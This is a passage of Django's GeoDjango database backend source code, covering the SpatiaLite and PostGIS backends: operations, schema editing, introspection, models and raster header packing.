        """
        version = self.spatialite_version()

        m = self.version_regex.match(version)
        if m:
            major = int(m.group('major'))
            minor1 = int(m.group('minor1'))
            minor2 = int(m.group('minor2'))
        else:
            raise Exception('Could not parse SpatiaLite version string: %s' % version)

        return (version, major, minor1, minor2)

    def spatial_aggregate_name(self, agg_name):
        """
        Returns the spatial aggregate SQL template and function for the
        given Aggregate instance.
        """
        agg_name = 'unionagg' if agg_name.lower() == 'union' else agg_name.lower()
        return getattr(self, agg_name)

    # Routines for getting the OGC-compliant models.
    def geometry_columns(self):
        from django.contrib.gis.db.backends.spatialite.models import SpatialiteGeometryColumns
        return SpatialiteGeometryColumns

    def spatial_ref_sys(self):
        from django.contrib.gis.db.backends.spatialite.models import SpatialiteSpatialRefSys
        return SpatialiteSpatialRefSys

    def get_db_converters(self, expression):
        converters = super(SpatiaLiteOperations, self).get_db_converters(expression)
        if hasattr(expression.output_field, 'geom_type'):
            converters.append(self.convert_geometry)
        return converters

    def convert_geometry(self, value, expression, connection, context):
        if value:
            value = Geometry(value)
            if 'transformed_srid' in context:
                value.srid = context['transformed_srid']
        return value






from django.db.backends.sqlite3.client import DatabaseClient


class SpatiaLiteClient(DatabaseClient):
    executable_name = 'spatialite'






import sys
from ctypes.util import find_library

from django.conf import settings
from django.core.exceptions import ImproperlyConfigured
from django.db.backends.sqlite3.base import (
    Database, DatabaseWrapper as SQLiteDatabaseWrapper, SQLiteCursorWrapper,
)
from django.utils import six

from .client import SpatiaLiteClient
from .features import DatabaseFeatures
from .introspection import SpatiaLiteIntrospection
from .operations import SpatiaLiteOperations
from .schema import SpatialiteSchemaEditor


class DatabaseWrapper(SQLiteDatabaseWrapper):
    SchemaEditorClass = SpatialiteSchemaEditor

    def __init__(self, *args, **kwargs):
        # Before we get too far, make sure pysqlite 2.5+ is installed.
        if Database.version_info < (2, 5, 0):
            raise ImproperlyConfigured('Only versions of pysqlite 2.5+ are '
                                       'compatible with SpatiaLite and GeoDjango.')

        # Trying to find the location of the SpatiaLite library.
        # Here we are figuring out the path to the SpatiaLite library
        # (`libspatialite`). If it's not in the system library path (e.g., it
        # cannot be found by `ctypes.util.find_library`), then it may be set
        # manually in the settings via the `SPATIALITE_LIBRARY_PATH` setting.
        self.spatialite_lib = getattr(settings, 'SPATIALITE_LIBRARY_PATH',
                                      find_library('spatialite'))
        if not self.spatialite_lib:
            raise ImproperlyConfigured('Unable to locate the SpatiaLite library. '
                                       'Make sure it is in your library path, or set '
                                       'SPATIALITE_LIBRARY_PATH in your settings.'
                                       )
        super(DatabaseWrapper, self).__init__(*args, **kwargs)
        self.features = DatabaseFeatures(self)
        self.ops = SpatiaLiteOperations(self)
        self.client = SpatiaLiteClient(self)
        self.introspection = SpatiaLiteIntrospection(self)

    def get_new_connection(self, conn_params):
        conn = super(DatabaseWrapper, self).get_new_connection(conn_params)
        # Enabling extension loading on the SQLite connection.
        try:
            conn.enable_load_extension(True)
        except AttributeError:
            raise ImproperlyConfigured(
                'The pysqlite library does not support C extension loading. '
                'Both SQLite and pysqlite must be configured to allow '
                'the loading of extensions to use SpatiaLite.')
        # Loading the SpatiaLite library extension on the connection, and returning
        # the created cursor.
        cur = conn.cursor(factory=SQLiteCursorWrapper)
        try:
            cur.execute("SELECT load_extension(%s)", (self.spatialite_lib,))
        except Exception as msg:
            new_msg = (
                'Unable to load the SpatiaLite library extension '
                '"%s" because: %s') % (self.spatialite_lib, msg)
            six.reraise(ImproperlyConfigured, ImproperlyConfigured(new_msg), sys.exc_info()[2])
        cur.close()
        return conn

    def prepare_database(self):
        super(DatabaseWrapper, self).prepare_database()
        # Check if spatial metadata have been initialized in the database
        with self.cursor() as cursor:
            cursor.execute("PRAGMA table_info(geometry_columns);")
            if cursor.fetchall() == []:
                arg = "1" if self.features.supports_initspatialmetadata_in_one_transaction else ""
                cursor.execute("SELECT InitSpatialMetaData(%s)" % arg)






from django.db.backends.sqlite3.schema import DatabaseSchemaEditor
from django.db.utils import DatabaseError


class SpatialiteSchemaEditor(DatabaseSchemaEditor):
    sql_add_geometry_column = (
        "SELECT AddGeometryColumn(%(table)s, %(column)s, %(srid)s, "
        "%(geom_type)s, %(dim)s, %(null)s)"
    )
    sql_add_spatial_index = "SELECT CreateSpatialIndex(%(table)s, %(column)s)"
    sql_drop_spatial_index = "DROP TABLE idx_%(table)s_%(column)s"
    sql_remove_geometry_metadata = "SELECT DiscardGeometryColumn(%(table)s, %(column)s)"
    sql_discard_geometry_columns = "DELETE FROM %(geom_table)s WHERE f_table_name = %(table)s"
    sql_update_geometry_columns = (
        "UPDATE %(geom_table)s SET f_table_name = %(new_table)s "
        "WHERE f_table_name = %(old_table)s"
    )

    geometry_tables = [
        "geometry_columns",
        "geometry_columns_auth",
        "geometry_columns_time",
        "geometry_columns_statistics",
    ]

    def __init__(self, *args, **kwargs):
        super(SpatialiteSchemaEditor, self).__init__(*args, **kwargs)
        self.geometry_sql = []

    def geo_quote_name(self, name):
        return self.connection.ops.geo_quote_name(name)

    def column_sql(self, model, field, include_default=False):
        from django.contrib.gis.db.models.fields import GeometryField
        if not isinstance(field, GeometryField):
            return super(SpatialiteSchemaEditor, self).column_sql(model, field, include_default)

        # Geometry columns are created by the `AddGeometryColumn` function
        self.geometry_sql.append(
            self.sql_add_geometry_column % {
                "table": self.geo_quote_name(model._meta.db_table),
                "column": self.geo_quote_name(field.column),
                "srid": field.srid,
                "geom_type": self.geo_quote_name(field.geom_type),
                "dim": field.dim,
                "null": int(not field.null),
            }
        )

        if field.spatial_index:
            self.geometry_sql.append(
                self.sql_add_spatial_index % {
                    "table": self.quote_name(model._meta.db_table),
                    "column": self.quote_name(field.column),
                }
            )
        return None, None

    def remove_geometry_metadata(self, model, field):
        self.execute(
            self.sql_remove_geometry_metadata % {
                "table": self.quote_name(model._meta.db_table),
                "column": self.quote_name(field.column),
            }
        )
        self.execute(
            self.sql_drop_spatial_index % {
                "table": model._meta.db_table,
                "column": field.column,
            }
        )

    def create_model(self, model):
        super(SpatialiteSchemaEditor, self).create_model(model)
        # Create geometry columns
        for sql in self.geometry_sql:
            self.execute(sql)
        self.geometry_sql = []

    def delete_model(self, model, **kwargs):
        from django.contrib.gis.db.models.fields import GeometryField
        # Drop spatial metadata (dropping the table does not automatically remove them)
        for field in model._meta.local_fields:
            if isinstance(field, GeometryField):
                self.remove_geometry_metadata(model, field)
        # Make sure all geom stuff is gone
        for geom_table in self.geometry_tables:
            try:
                self.execute(
                    self.sql_discard_geometry_columns % {
                        "geom_table": geom_table,
                        "table": self.quote_name(model._meta.db_table),
                    }
                )
            except DatabaseError:
                pass
        super(SpatialiteSchemaEditor, self).delete_model(model, **kwargs)

    def add_field(self, model, field):
        from django.contrib.gis.db.models.fields import GeometryField
        if isinstance(field, GeometryField):
            # Populate self.geometry_sql
            self.column_sql(model, field)
            for sql in self.geometry_sql:
                self.execute(sql)
            self.geometry_sql = []
        else:
            super(SpatialiteSchemaEditor, self).add_field(model, field)

    def remove_field(self, model, field):
        from django.contrib.gis.db.models.fields import GeometryField
        # NOTE: If the field is a geometry field, the table is just recreated,
        # the parent's remove_field can't be used cause it will skip the
        # recreation if the field does not have a database type. Geometry fields
        # do not have a db type cause they are added and removed via stored
        # procedures.
        if isinstance(field, GeometryField):
            self._remake_table(model, delete_field=field)
        else:
            super(SpatialiteSchemaEditor, self).remove_field(model, field)

    def alter_db_table(self, model, old_db_table, new_db_table):
        from django.contrib.gis.db.models.fields import GeometryField
        # Remove geometry-ness from temp table
        for field in model._meta.local_fields:
            if isinstance(field, GeometryField):
                self.execute(
                    self.sql_remove_geometry_metadata % {
                        "table": self.quote_name(old_db_table),
                        "column": self.quote_name(field.column),
                    }
                )
        # Alter table
        super(SpatialiteSchemaEditor, self).alter_db_table(model, old_db_table, new_db_table)
        # Repoint any straggler names
        for geom_table in self.geometry_tables:
            try:
                self.execute(
                    self.sql_update_geometry_columns % {
                        "geom_table": geom_table,
                        "old_table": self.quote_name(old_db_table),
                        "new_table": self.quote_name(new_db_table),
                    }
                )
            except DatabaseError:
                pass
        # Re-add geometry-ness and rename spatial index tables
        for field in model._meta.local_fields:
            if isinstance(field, GeometryField):
                self.execute(self.sql_add_geometry_column % {
                    "table": self.geo_quote_name(new_db_table),
                    "column": self.geo_quote_name(field.column),
                    "srid": field.srid,
                    "geom_type": self.geo_quote_name(field.geom_type),
                    "dim": field.dim,
                    "null": int(not field.null),
                })
            if getattr(field, 'spatial_index', False):
                self.execute(self.sql_rename_table % {
                    "old_table": self.quote_name("idx_%s_%s" % (old_db_table, field.column)),
                    "new_table": self.quote_name("idx_%s_%s" % (new_db_table, field.column)),
                })






from django.contrib.gis.gdal import OGRGeomType
from django.db.backends.sqlite3.introspection import (
    DatabaseIntrospection, FlexibleFieldLookupDict,
)
from django.utils import six


class GeoFlexibleFieldLookupDict(FlexibleFieldLookupDict):
    """
    Sublcass that includes updates the `base_data_types_reverse` dict
    for geometry field types.
    """
    base_data_types_reverse = FlexibleFieldLookupDict.base_data_types_reverse.copy()
    base_data_types_reverse.update(
        {'point': 'GeometryField',
         'linestring': 'GeometryField',
         'polygon': 'GeometryField',
         'multipoint': 'GeometryField',
         'multilinestring': 'GeometryField',
         'multipolygon': 'GeometryField',
         'geometrycollection': 'GeometryField',
         })


class SpatiaLiteIntrospection(DatabaseIntrospection):
    data_types_reverse = GeoFlexibleFieldLookupDict()

    def get_geometry_type(self, table_name, geo_col):
        cursor = self.connection.cursor()
        try:
            # Querying the `geometry_columns` table to get additional metadata.
            cursor.execute('SELECT coord_dimension, srid, geometry_type '
                           'FROM geometry_columns '
                           'WHERE f_table_name=%s AND f_geometry_column=%s',
                           (table_name, geo_col))
            row = cursor.fetchone()
            if not row:
                raise Exception('Could not find a geometry column for "%s"."%s"' %
                                (table_name, geo_col))

            # OGRGeomType does not require GDAL and makes it easy to convert
            # from OGC geom type name to Django field.
            ogr_type = row[2]
            if isinstance(ogr_type, six.integer_types) and ogr_type > 1000:
                # SpatiaLite versions >= 4 use the new SFSQL 1.2 offsets
                # 1000 (Z), 2000 (M), and 3000 (ZM) to indicate the presence of
                # higher dimensional coordinates (M not yet supported by Django).
                ogr_type = ogr_type % 1000 + OGRGeomType.wkb25bit
            field_type = OGRGeomType(ogr_type).django

            # Getting any GeometryField keyword arguments that are not the default.
            dim = row[0]
            srid = row[1]
            field_params = {}
            if srid != 4326:
                field_params['srid'] = srid
            if (isinstance(dim, six.string_types) and 'Z' in dim) or dim == 3:
                field_params['dim'] = 3
        finally:
            cursor.close()

        return field_type, field_params

    def get_indexes(self, cursor, table_name):
        indexes = super(SpatiaLiteIntrospection, self).get_indexes(cursor, table_name)
        cursor.execute('SELECT f_geometry_column '
                       'FROM geometry_columns '
                       'WHERE f_table_name=%s AND spatial_index_enabled=1', (table_name,))
        for row in cursor.fetchall():
            indexes[row[0]] = {'primary_key': False, 'unique': False}
        return indexes






from django.contrib.gis.db.backends.base.adapter import WKTAdapter
from django.db.backends.sqlite3.base import Database


class SpatiaLiteAdapter(WKTAdapter):
    "SQLite adaptor for geometry objects."
    def __conform__(self, protocol):
        if protocol is Database.PrepareProtocol:
            return str(self)












"""
 The GeometryColumns and SpatialRefSys models for the PostGIS backend.
"""
from django.contrib.gis.db.backends.base.models import SpatialRefSysMixin
from django.db import models
from django.utils.encoding import python_2_unicode_compatible


@python_2_unicode_compatible
class PostGISGeometryColumns(models.Model):
    """
    The 'geometry_columns' table from the PostGIS. See the PostGIS
    documentation at Ch. 4.3.2.
    On PostGIS 2, this is a view.
    """
    f_table_catalog = models.CharField(max_length=256)
    f_table_schema = models.CharField(max_length=256)
    f_table_name = models.CharField(max_length=256)
    f_geometry_column = models.CharField(max_length=256)
    coord_dimension = models.IntegerField()
    srid = models.IntegerField(primary_key=True)
    type = models.CharField(max_length=30)

    class Meta:
        app_label = 'gis'
        db_table = 'geometry_columns'
        managed = False

    @classmethod
    def table_name_col(cls):
        """
        Returns the name of the metadata column used to store the feature table
        name.
        """
        return 'f_table_name'

    @classmethod
    def geom_col_name(cls):
        """
        Returns the name of the metadata column used to store the feature
        geometry column.
        """
        return 'f_geometry_column'

    def __str__(self):
        return "%s.%s - %dD %s field (SRID: %d)" % \
               (self.f_table_name, self.f_geometry_column,
                self.coord_dimension, self.type, self.srid)


class PostGISSpatialRefSys(models.Model, SpatialRefSysMixin):
    """
    The 'spatial_ref_sys' table from PostGIS. See the PostGIS
    documentation at Ch. 4.2.1.
    """
    srid = models.IntegerField(primary_key=True)
    auth_name = models.CharField(max_length=256)
    auth_srid = models.IntegerField()
    srtext = models.CharField(max_length=2048)
    proj4text = models.CharField(max_length=2048)

    class Meta:
        app_label = 'gis'
        db_table = 'spatial_ref_sys'
        managed = False

    @property
    def wkt(self):
        return self.srtext






"""
PostGIS to GDAL conversion constant definitions
"""
# Lookup to convert pixel type values from GDAL to PostGIS
GDAL_TO_POSTGIS = [None, 4, 6, 5, 8, 7, 10, 11, None, None, None, None]

# Lookup to convert pixel type values from PostGIS to GDAL
POSTGIS_TO_GDAL = [1, 1, 1, 3, 1, 3, 2, 5, 4, None, 6, 7, None, None]

# Struct pack structure for raster header, the raster header has the
# following structure:
#
# Endianness, PostGIS raster version, number of bands, scale, origin,
# skew, srid, width, and height.
#
# Scale, origin, and skew have x and y values. PostGIS currently uses
# a fixed endianness (1) and there is only one version (0).
POSTGIS_HEADER_STRUCTURE = 'B H H d d d d d d i H H'

# Lookup values to convert GDAL pixel types to struct characters. This is
# used to pack and unpack the pixel values of PostGIS raster bands.
GDAL_TO_STRUCT = [
    None, 'B', 'H', 'h', 'L', 'l', 'f', 'd',
    None, None, None, None,
]

# Size of the packed value in bytes for different numerical types.
# This is needed to cut chunks of band data out of PostGIS raster strings
# when decomposing them into GDALRasters.
# See https://docs.python.org/3/library/struct.html#format-characters
STRUCT_SIZE = {
    'b': 1,  # Signed char
    'B': 1,  # Unsigned char
    '?': 1,  # _Bool
    'h': 2,  # Short
    'H': 2,  # Unsigned short
    'i': 4,  # Integer
    'I': 4,  # Unsigned Integer
    'l': 4,  # Long
    'L': 4,  # Unsigned Long
    'f': 4,  # Float
    'd': 8,  # Double
}






from django.contrib.gis.db.backends.base.features import BaseSpatialFeatures
from django.db.backends.postgresql.features import \
    DatabaseFeatures as Psycopg2DatabaseFeatures


class DatabaseFeatures(BaseSpatialFeatures, Psycopg2DatabaseFeatures):
    supports_3d_storage = True
    supports_3d_functions = True
    supports_left_right_lookups = True
    supports_raster = True






import re

from django.conf import settings
from django.contrib.gis.db.backends.base.operations import \
    BaseSpatialOperations
from django.contrib.gis.db.backends.utils import SpatialOperator
from django.contrib.gis.gdal import GDALRaster
from django.contrib.gis.geometry.backend import Geometry
from django.contrib.gis.measure import Distance
from django.core.exceptions import ImproperlyConfigured
from django.db.backends.postgresql.operations import DatabaseOperations
from django.db.utils import ProgrammingError
from django.utils import six
from django.utils.functional import cached_property

from .adapter import PostGISAdapter
from .models import PostGISGeometryColumns, PostGISSpatialRefSys
from .pgraster import from_pgraster, get_pgraster_srid, to_pgraster

# Identifier to mark raster lookups as bilateral.
BILATERAL = 'bilateral'


class PostGISOperator(SpatialOperator):
    def __init__(self, geography=False, raster=False, **kwargs):
        # Only a subset of the operators and functions are available for the
        # geography type.
        self.geography = geography
        # Only a subset of the operators and functions are available for the
        # raster type. Lookups that don't suport raster will be converted to
        # polygons. If the raster argument is set to BILATERAL, then the
        # operator cannot handle mixed geom-raster lookups.
        self.raster = raster
        super(PostGISOperator, self).__init__(**kwargs)

    def as_sql(self, connection, lookup, template_params, *args):
        if lookup.lhs.output_field.geography and not self.geography:
            raise ValueError('PostGIS geography does not support the "%s" '
                             'function/operator.' % (self.func or self.op,))

        template_params = self.check_raster(lookup, template_params)
        return super(PostGISOperator, self).as_sql(connection, lookup, template_params, *args)

    def check_raster(self, lookup, template_params):
        # Get rhs value.
        if isinstance(lookup.rhs, (tuple, list)):
            rhs_val = lookup.rhs[0]
            spheroid = lookup.rhs[-1] == 'spheroid'
        else:
            rhs_val = lookup.rhs
            spheroid = False

        # Check which input is a raster.
        lhs_is_raster = lookup.lhs.field.geom_type == 'RASTER'
        rhs_is_raster = isinstance(rhs_val, GDALRaster)

        # Look for band indices and inject them if provided.
        if lookup.band_lhs is not None and lhs_is_raster:
            if not self.func:
                raise ValueError('Band indices are not allowed for this operator, it works on bbox only.')
            template_params['lhs'] = '%s, %s' % (template_params['lhs'], lookup.band_lhs)

        if lookup.band_rhs is not None and rhs_is_raster:
            if not self.func:
                raise ValueError('Band indices are not allowed for this operator, it works on bbox only.')
            template_params['rhs'] = '%s, %s' % (template_params['rhs'], lookup.band_rhs)

        # Convert rasters to polygons if necessary.
        if not self.raster or spheroid:
            # Operators without raster support.
            if lhs_is_raster:
                template_params['lhs'] = 'ST_Polygon(%s)' % template_params['lhs']
            if rhs_is_raster:
                template_params['rhs'] = 'ST_Polygon(%s)' % template_params['rhs']
        elif self.raster == BILATERAL:
            # Operators with raster support but don't support mixed (rast-geom)
            # lookups.
            if lhs_is_raster and not rhs_is_raster:
                template_params['lhs'] = 'ST_Polygon(%s)' % template_params['lhs']
            elif rhs_is_raster and not lhs_is_raster:
                template_params['rhs'] = 'ST_Polygon(%s)' % template_params['rhs']

        return template_params


class PostGISDistanceOperator(PostGISOperator):
    sql_template = '%(func)s(%(lhs)s, %(rhs)s) %(op)s %(value)s'

    def as_sql(self, connection, lookup, template_params, sql_params):
        if not lookup.lhs.output_field.geography and lookup.lhs.output_field.geodetic(connection):
            template_params = self.check_raster(lookup, template_params)
            sql_template = self.sql_template
            if len(lookup.rhs) == 3 and lookup.rhs[-1] == 'spheroid':
                template_params.update({'op': self.op, 'func': 'ST_Distance_Spheroid'})
                sql_template = '%(func)s(%(lhs)s, %(rhs)s, %%s) %(op)s %(value)s'
                # Using distance_spheroid requires the spheroid of the field as
                # a parameter.
                sql_params.insert(1, lookup.lhs.output_field._spheroid)
            else:
                template_params.update({'op': self.op, 'func': 'ST_Distance_Sphere'})
            return sql_template % template_params, sql_params
        return super(PostGISDistanceOperator, self).as_sql(connection, lookup, template_params, sql_params)


class PostGISOperations(BaseSpatialOperations, DatabaseOperations):
    name = 'postgis'
    postgis = True
    geography = True
    geom_func_prefix = 'ST_'
    version_regex = re.compile(r'^(?P<major>\d)\.(?P<minor1>\d)\.(?P<minor2>\d+)')

    Adapter = PostGISAdapter

    gis_operators = {
        'bbcontains': PostGISOperator(op='~', raster=True),
        'bboverlaps': PostGISOperator(op='&&', geography=True, raster=True),
        'contained': PostGISOperator(op='@', raster=True),
        'overlaps_left': PostGISOperator(op='&<', raster=BILATERAL),
        'overlaps_right': PostGISOperator(op='&>', raster=BILATERAL),
        'overlaps_below': PostGISOperator(op='&<|'),
        'overlaps_above': PostGISOperator(op='|&>'),
        'left': PostGISOperator(op='<<'),
        'right': PostGISOperator(op='>>'),
        'strictly_below': PostGISOperator(op='<<|'),
        'strictly_above': PostGISOperator(op='|>>'),
        'same_as': PostGISOperator(op='~=', raster=BILATERAL),
        'exact': PostGISOperator(op='~=', raster=BILATERAL),  # alias of same_as
        'contains': PostGISOperator(func='ST_Contains', raster=BILATERAL),
        'contains_properly': PostGISOperator(func='ST_ContainsProperly', raster=BILATERAL),
        'coveredby': PostGISOperator(func='ST_CoveredBy', geography=True, raster=BILATERAL),
        'covers': PostGISOperator(func='ST_Covers', geography=True, raster=BILATERAL),
        'crosses': PostGISOperator(func='ST_Crosses'),
        'disjoint': PostGISOperator(func='ST_Disjoint', raster=BILATERAL),
        'equals': PostGISOperator(func='ST_Equals'),
        'intersects': PostGISOperator(func='ST_Intersects', geography=True, raster=BILATERAL),
        'isvalid': PostGISOperator(func='ST_IsValid'),
        'overlaps': PostGISOperator(func='ST_Overlaps', raster=BILATERAL),
        'relate': PostGISOperator(func='ST_Relate'),
        'touches': PostGISOperator(func='ST_Touches', raster=BILATERAL),
        'within': PostGISOperator(func='ST_Within', raster=BILATERAL),
        'dwithin': PostGISOperator(func='ST_DWithin', geography=True, raster=BILATERAL),
        'distance_gt': PostGISDistanceOperator(func='ST_Distance', op='>', geography=True),
        'distance_gte': PostGISDistanceOperator(func='ST_Distance', op='>=', geography=True),
        'distance_lt': PostGISDistanceOperator(func='ST_Distance', op='<', geography=True),
        'distance_lte': PostGISDistanceOperator(func='ST_Distance', op='<=', geography=True),
    }

    unsupported_functions = set()
    function_names = {
        'BoundingCircle': 'ST_MinimumBoundingCircle',
        'MemSize': 'ST_Mem_Size',
        'NumPoints': 'ST_NPoints',
    }

    def __init__(self, connection):
        super(PostGISOperations, self).__init__(connection)

        prefix = self.geom_func_prefix

        self.area = prefix + 'Area'
        self.bounding_circle = prefix + 'MinimumBoundingCircle'
        self.centroid = prefix + 'Centroid'
        self.collect = prefix + 'Collect'
        self.difference = prefix + 'Difference'
        self.distance = prefix + 'Distance'
        self.distance_sphere = prefix + 'distance_sphere'
        self.distance_spheroid = prefix + 'distance_spheroid'
        self.envelope = prefix + 'Envelope'
        self.extent = prefix + 'Extent'
        self.extent3d = prefix + '3DExtent'
        self.force_rhr = prefix + 'ForceRHR'
        self.geohash = prefix + 'GeoHash'
        self.geojson = prefix + 'AsGeoJson'
        self.gml = prefix + 'AsGML'
        self.intersection = prefix + 'Intersection'
        self.isvalid = prefix + 'IsValid'
        self.kml = prefix + 'AsKML'
        self.length = prefix + 'Length'
        self.length3d = prefix + '3DLength'
        self.length_spheroid = prefix + 'length_spheroid'
        self.makeline = prefix + 'MakeLine'
        self.makevalid = prefix + 'MakeValid'
        self.mem_size = prefix + 'mem_size'
        self.num_geom = prefix + 'NumGeometries'
        self.num_points = prefix + 'npoints'
        self.perimeter = prefix + 'Perimeter'
        self.perimeter3d = prefix + '3DPerimeter'
        self.point_on_surface = prefix + 'PointOnSurface'
        self.polygonize = prefix + 'Polygonize'
        self.reverse = prefix + 'Reverse'
        self.scale = prefix + 'Scale'
        self.snap_to_grid = prefix + 'SnapToGrid'
        self.svg = prefix + 'AsSVG'
        self.sym_difference = prefix + 'SymDifference'
        self.transform = prefix + 'Transform'
        self.translate = prefix + 'Translate'
        self.union = prefix + 'Union'
        self.unionagg = prefix + 'Union'

    @cached_property
    def spatial_version(self):
        """Determine the version of the PostGIS library."""
        # Trying to get the PostGIS version because the function
        # signatures will depend on the version used.  The cost
        # here is a database query to determine the version, which
        # can be mitigated by setting `POSTGIS_VERSION` with a 3-tuple
        # comprising user-supplied values for the major, minor, and
        # subminor revision of PostGIS.
        if hasattr(settings, 'POSTGIS_VERSION'):
            version = settings.POSTGIS_VERSION
        else:
            # Run a basic query to check the status of the connection so we're
            # sure we only raise the error below if the problem comes from
            # PostGIS and not from PostgreSQL itself (see #24862).
            self._get_postgis_func('version')

            try:
                vtup = self.postgis_version_tuple()
            except ProgrammingError:
                raise ImproperlyConfigured(
                    'Cannot determine PostGIS version for database "%s" '
                    'using command "SELECT postgis_lib_version()". '
                    'GeoDjango requires at least PostGIS version 2.1. '
                    'Was the database created from a spatial database '
                    'template?' % self.connection.settings_dict['NAME']
                )
            version = vtup[1:]
        return version

    def convert_extent(self, box, srid):
        """
        Returns a 4-tuple extent for the `Extent` aggregate by converting
        the bounding box text returned by PostGIS (`box` argument), for
        example: "BOX(-90.0 30.0, -85.0 40.0)".
        """
        if box is None:
            return None
        ll, ur = box[4:-1].split(',')
        xmin, ymin = map(float, ll.split())
        xmax, ymax = map(float, ur.split())
        return (xmin, ymin, xmax, ymax)

    def convert_extent3d(self, box3d, srid):
        """
        Returns a 6-tuple extent for the `Extent3D` aggregate by converting
        the 3d bounding-box text returned by PostGIS (`box3d` argument), for
        example: "BOX3D(-90.0 30.0 1, -85.0 40.0 2)".
        """
        if box3d is None:
            return None
        ll, ur = box3d[6:-1].split(',')
        xmin, ymin, zmin = map(float, ll.split())
        xmax, ymax, zmax = map(float, ur.split())
        return (xmin, ymin, zmin, xmax, ymax, zmax)

    def convert_geom(self, hex, geo_field):
        """
        Converts the geometry returned from PostGIS aggregates.
        """
        if hex:
            return Geometry(hex, srid=geo_field.srid)
        else:
            return None

    def geo_db_type(self, f):
        """
        Return the database field type for the given spatial field.
        """
        if f.geom_type == 'RASTER':
            return 'raster'

        # Type-based geometries.
        # TODO: Support 'M' extension.
        if f.dim == 3:
            geom_type = f.geom_type + 'Z'
        else:
            geom_type = f.geom_type
        if f.geography:
            if f.srid != 4326:
                raise NotImplementedError('PostGIS only supports geography columns with an SRID of 4326.')

            return 'geography(%s,%d)' % (geom_type, f.srid)
        else:
            return 'geometry(%s,%d)' % (geom_type, f.srid)

    def get_distance(self, f, dist_val, lookup_type, handle_spheroid=True):
        """
        Retrieve the distance parameters for the given geometry field,
        distance lookup value, and the distance lookup type.

        This is the most complex implementation of the spatial backends due to
        what is supported on geodetic geometry columns vs. what's available on
        projected geometry columns.  In addition, it has to take into account
        the geography column type.
        """
        # Getting the distance parameter
        value = dist_val[0]

        # Shorthand boolean flags.
        geodetic = f.geodetic(self.connection)
        geography = f.geography

        if isinstance(value, Distance):
            if geography:
                dist_param = value.m
            elif geodetic:
                if lookup_type == 'dwithin':
                    raise ValueError('Only numeric values of degree units are '
                                     'allowed on geographic DWithin queries.')
                dist_param = value.m
            else:
                dist_param = getattr(value, Distance.unit_attname(f.units_name(self.connection)))
        else:
            # Assuming the distance is in the units of the field.
            dist_param = value

        params = [dist_param]
        # handle_spheroid *might* be dropped in Django 2.0 as PostGISDistanceOperator
        # also handles it (#25524).
        if handle_spheroid and len(dist_val) > 1:
            option = dist_val[1]
            if not geography and geodetic and lookup_type != 'dwithin' and option == 'spheroid':
                # using distance_spheroid requires the spheroid of the field as
                # a parameter.
                params.insert(0, f._spheroid)
        return params

    def get_geom_placeholder(self, f, value, compiler):
        """
        Provide a proper substitution value for Geometries or rasters that are
        not in the SRID of the field. Specifically, this routine will
        substitute in the ST_Transform() function call.
        """
        # Get the srid for this object
        if value is None:
            value_srid = None
        elif f.geom_type == 'RASTER' and isinstance(value, six.string_types):
            value_srid = get_pgraster_srid(value)
        else:
            value_srid = value.srid

        # Adding Transform() to the SQL placeholder if the value srid
        # is not equal to the field srid.
        if value_srid is None or value_srid == f.srid:
            placeholder = '%s'
        elif f.geom_type == 'RASTER' and isinstance(value, six.string_types):
            placeholder = '%s((%%s)::raster, %s)' % (self.transform, f.srid)
        else:
            placeholder = '%s(%%s, %s)' % (self.transform, f.srid)

        if hasattr(value, 'as_sql'):
            # If this is an F expression, then we don't really want
            # a placeholder and instead substitute in the column
            # of the expression.
            sql, _ = compiler.compile(value)
            placeholder = placeholder % sql

        return placeholder

    def _get_postgis_func(self, func):
        """
        Helper routine for calling PostGIS functions and returning their result.
        """
        # Close out the connection.  See #9437.
        with self.connection.temporary_connection() as cursor:
            cursor.execute('SELECT %s()' % func)
            return cursor.fetchone()[0]

    def postgis_geos_version(self):
        "Returns the version of the GEOS library used with PostGIS."
        return self._get_postgis_func('postgis_geos_version')

    def postgis_lib_version(self):
        "Returns the version number of the PostGIS library used with PostgreSQL."
        return self._get_postgis_func('postgis_lib_version')

    def postgis_proj_version(self):
        "Returns the version of the PROJ.4 library used with PostGIS."
        return self._get_postgis_func('postgis_proj_version')

    def postgis_version(self):
        "Returns PostGIS version number and compile-time options."
        return self._get_postgis_func('postgis_version')

    def postgis_full_version(self):
        "Returns PostGIS version number and compile-time options."
        return self._get_postgis_func('postgis_full_version')

    def postgis_version_tuple(self):
        """
        Returns the PostGIS version as a tuple (version string, major,
        minor, subminor).
        """
        # Getting the PostGIS version
        version = self.postgis_lib_version()
        m = self.version_regex.match(version)

        if m:
            major = int(m.group('major'))
            minor1 = int(m.group('minor1'))
            minor2 = int(m.group('minor2'))
        else:
            raise Exception('Could not parse PostGIS version string: %s' % version)

        return (version, major, minor1, minor2)

    def proj_version_tuple(self):
        """
        Return the version of PROJ.4 used by PostGIS as a tuple of the
        major, minor, and subminor release numbers.
        """
        proj_regex = re.compile(r'(\d+)\.(\d+)\.(\d+)')
        proj_ver_str = self.postgis_proj_version()
        m = proj_regex.search(proj_ver_str)
        if m:
            return tuple(map(int, [m.group(1), m.group(2), m.group(3)]))
        else:
            raise Exception('Could not determine PROJ.4 version from PostGIS.')

    def spatial_aggregate_name(self, agg_name):
        if agg_name == 'Extent3D':
            return self.extent3d
        else:
            return self.geom_func_prefix + agg_name

    # Routines for getting the OGC-compliant models.
    def geometry_columns(self):
        return PostGISGeometryColumns

    def spatial_ref_sys(self):
        return PostGISSpatialRefSys

    # Methods to convert between PostGIS rasters and dicts that are
    # readable by GDALRaster.
    def parse_raster(self, value):
        return from_pgraster(value)

    def deconstruct_raster(self, value):
        return to_pgraster(value)






import binascii
import struct

from django.forms import ValidationError

from .const import (
    GDAL_TO_POSTGIS, GDAL_TO_STRUCT, POSTGIS_HEADER_STRUCTURE, POSTGIS_TO_GDAL,
    STRUCT_SIZE,
)


def pack(structure, data):
    """
    Pack data into hex string with little endian format.
    """
    return binascii.hexlify(struct.pack('<' + structure, *data)).upper()


def unpack(structure, data):
    """
    Unpack little endian hexlified binary string into a list.
    """
    return struct.unpack('<' + structure, binascii.unhexlify(data))


def chunk(data, index):
    """
    Split a string into two parts at the input index.
    """
    return data[:index], data[index:]


def get_pgraster_srid(data):
    """
    Extract the SRID from a PostGIS raster string.
    """
    if data is None:
        return
    # The positional arguments here extract the hex-encoded srid from the
    # header of the PostGIS raster string. This can be understood through
    # the POSTGIS_HEADER_STRUCTURE constant definition in the const module.
    return unpack('i', data[106:114])[0]


def from_pgraster(data):
    """
    Convert a PostGIS HEX String into a dictionary.
    """
    if data is None:
        return

    # Split raster header from data
    header, data = chunk(data, 122)
    header = unpack(POSTGIS_HEADER_STRUCTURE, header)

